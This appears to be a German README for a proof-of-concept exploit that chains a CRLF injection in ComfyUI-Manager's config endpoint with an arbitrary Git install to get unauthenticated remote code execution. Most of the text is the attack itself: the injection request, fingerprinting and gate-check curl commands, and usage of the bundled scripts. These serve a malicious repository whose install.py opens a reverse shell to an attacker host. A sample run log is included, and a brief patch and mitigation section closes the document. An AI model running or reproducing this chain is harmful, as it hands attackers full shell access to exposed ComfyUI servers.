
Proof-of-Concept-Exploit, der eine CRLF-Injection im Konfigurations-Endpunkt von ComfyUI-Manager mit einer beliebigen Git-Installation verkettet, um unauthentifizierte Remote-Code-Ausführung zu erreichen.
Schweregrad: Kritisch (CVSS 9.8) Betroffen: ComfyUI-Manager < 3.39.2 und 4.0.0 - 4.0.4 Behoben in: ComfyUI-Manager 3.39.2 / 4.0.5 Verkettet mit: CVE-2025-67303 (Beliebige Git-Installation -> Codeausführung)
ComfyUI-Manager stellt einen /api/manager/db_mode-Endpunkt bereit, der einen value-Query-Parameter akzeptiert und diesen direkt über Pythons configparser in config.ini schreibt.
Die Schwachstelle ist eine Injection eines einzelnen Carriage-Return (\r / %0D):
configparser serialisiert den Wert wörtlich — \r wird unverändert in der Datei gespeichert.\r als Zeilenende und teilt einen Wert in zwei separate INI-Direktiven auf.configparser mit strict=False (ComfyUI-Managers Standard) akzeptiert doppelte Schlüssel und verwendet den letzten. Das injizierte security_level = weak überschreibt den legitimen Wert.Nach einem Neustart wird die gefälschte Einstellung wirksam und deaktiviert die Authentifizierungssperre auf /api/customnode/install/git_url (CVE-2025-67303). Dieser Endpunkt klont ein beliebiges Git-Repository und führt sofort install.py daraus als Subprozess aus — was einem nicht authentifizierten Angreifer vollständige Codeausführung ermöglicht.
Schritt 1 — Bare CR in den Config-Endpunkt injizieren
GET /api/manager/db_mode?value=cache%0Dsecurity_level%20=%20weak
config.ini auf der Festplatte nach dem Schreiben:
db_mode = cache\r
security_level = weak <- via %0D injiziert
Schritt 2 — Manager neu starten, um die gefälschte Config zu laden
GET /api/manager/reboot
Manager liest config.ini zurück; Universal Newlines teilen den Wert auf;
Last-Key-Wins -> security_level = weak
Schritt 3 — Sperre verifizieren (pollen, bis 403 zu 400 wird)
POST /api/customnode/install/git_url body: http://127.0.0.1/probe.git
403 = Sperre noch geschlossen
400 = Sperre offen, security_level=weak bestätigt
Schritt 4 — Installation aus bösartigem Git-Repo auslösen (CVE-2025-67303)
POST /api/customnode/install/git_url
body: http://ATTACKER:9099/alg-upscaler.git
Manager führt aus:
git clone http://ATTACKER:9099/alg-upscaler.git
python install.py <- Reverse Shell wird hier ausgeführt
| Datei | Zweck |
|---|---|
setup_evil_repo.sh | Erstellt das bösartige Git-Repo und stellt es über HTTP bereit |
exploit_ad15.sh | Führt die vollständige Kette aus: CRLF-Injection -> Neustart -> Verifizierung -> Auslösung |
autopwn.py | Python-All-in-One-Alternative (erstellt Repo + führt die vollständige Kette aus) |
Schritt 1 — Versions-Fingerprint
curl -s http://TARGET:8188/api/manager/version
# Anfällig: "3.39.1" / "4.0.3"
# Behoben: "3.39.2" / "4.0.5"
Schritt 2 — Bestätigen, dass der CRLF-Endpunkt Werte akzeptiert
curl -v "http://TARGET:8188/api/manager/db_mode?value=test" 2>&1 | grep "< HTTP"
# HTTP/1.1 200 -> Endpunkt existiert und ist beschreibbar
Schritt 3 — Die Installationssperre prüfen
curl -s -o /dev/null -w "%{http_code}" \
-X POST http://TARGET:8188/api/customnode/install/git_url \
-d "http://127.0.0.1/probe.git"
# 403 -> Sperre geschlossen (Standardkonfiguration, Ziel ist injizierbar)
# 400 -> Sperre bereits offen (Phase 1 überspringen)
============================================================
CVE-2026-22777 + CVE-2025-67303 Full Chain
============================================================
Target : http://192.168.1.10:8188
Attacker : 10.10.14.1:4444
Evil repo : http://10.10.14.1:9099/alg-upscaler.git
[*] Phase 0: Version fingerprint
ComfyUI-Manager version: "3.39.1" <- vulnerable
[*] Phase 1: CRLF inject -> security_level = weak
[+] Injection sent (HTTP 200)
config.ini now contains:
db_mode = cache\r
security_level = weak <- injected via bare CR
[*] Phase 2: Trigger reboot
[+] Reboot request sent -- waiting 30s for Manager to restart...
[*] Phase 3: Verify security gate
Attempt 1: HTTP 403 <- still rebooting
Attempt 2: HTTP 403
Attempt 3: HTTP 400 <- gate open
[+] Gate OPEN -- security_level=weak is active
[*] Phase 4: Checking evil git repo is reachable
[+] Evil repo reachable (HTTP 200)
[*] Phase 5: Triggering git install (CVE-2025-67303)
ComfyUI-Manager will:
1. git clone http://10.10.14.1:9099/alg-upscaler.git
2. cd into cloned dir
3. python install.py <- reverse shell executes here
Das curl in Phase 5 hängt — die Reverse Shell erreicht nc -lvnp 4444.
| Vulhub-PoC | Dieser PoC | |
|---|---|---|
install.py | touch /tmp/success (nur Ausführungsnachweis) | Python-Reverse-Shell zurück zum Angreifer |
| Ergebnis | Keine interaktive Shell | Vollständige interaktive Shell |
| Vulhub-PoC | Dieser PoC | |
|---|---|---|
| Sprache | Einzelne Python-Datei | Bash, 2 separate Skripte |
| Bereinigung | tempfile.TemporaryDirectory (automatisch gelöscht bei Strg+C) | Manuell (bleibt auf der Festplatte) |
| Repo-Name | Zufällig (z. B. evil-node-a1b2c3) | Fest: alg-upscaler |
| Vulhub-PoC | Dieser PoC | |
|---|---|---|
| CVE-2026-22777 (CRLF-Injection) | Nicht enthalten | In exploit_ad15.sh Phase 1 |
| Neustart + Sperre verifizieren | Nicht enthalten | Wartet 30s, dann pollt 403->400 |
| Installation auslösen | Manuelles curl | Automatisiert in Phase 5 |
Schritt 1 — Bösartiges Repo und Listener einrichten (zwei Terminals)
# Terminal 1 — Listener
nc -lvnp 4444
# Terminal 2 — bösartiges Repo erstellen und bereitstellen
bash setup_evil_repo.sh 10.10.14.1 4444
Schritt 2 — Vollständige Exploit-Kette ausführen
# Terminal 3
bash exploit_ad15.sh 192.168.1.10 10.10.14.1 4444
Die Shell erreicht Terminal 1 nach Phase 5.
Alternative — Python All-in-One
# Blinder Befehl
python3 autopwn.py http://192.168.1.10:8188 --command "id"
# Reverse Shell
python3 autopwn.py http://192.168.1.10:8188 --revshell --lhost 10.10.14.1 --lport 4444
Upgrade (empfohlen): ComfyUI-Manager 3.39.2 oder 4.0.5+.
Der Patch entfernt \r und \n, bevor ein Query-Parameter in config.ini geschrieben wird.
Netzwerk-Gegenmaßnahmen (falls ein sofortiges Patchen nicht möglich ist):
8188 an der Firewall blockieren — ComfyUI ist nicht für öffentliche Exposition ausgelegt./api/manager/* und /api/customnode/* schalten.config.ini schreibgeschützt machen: chmod 444 config.ini.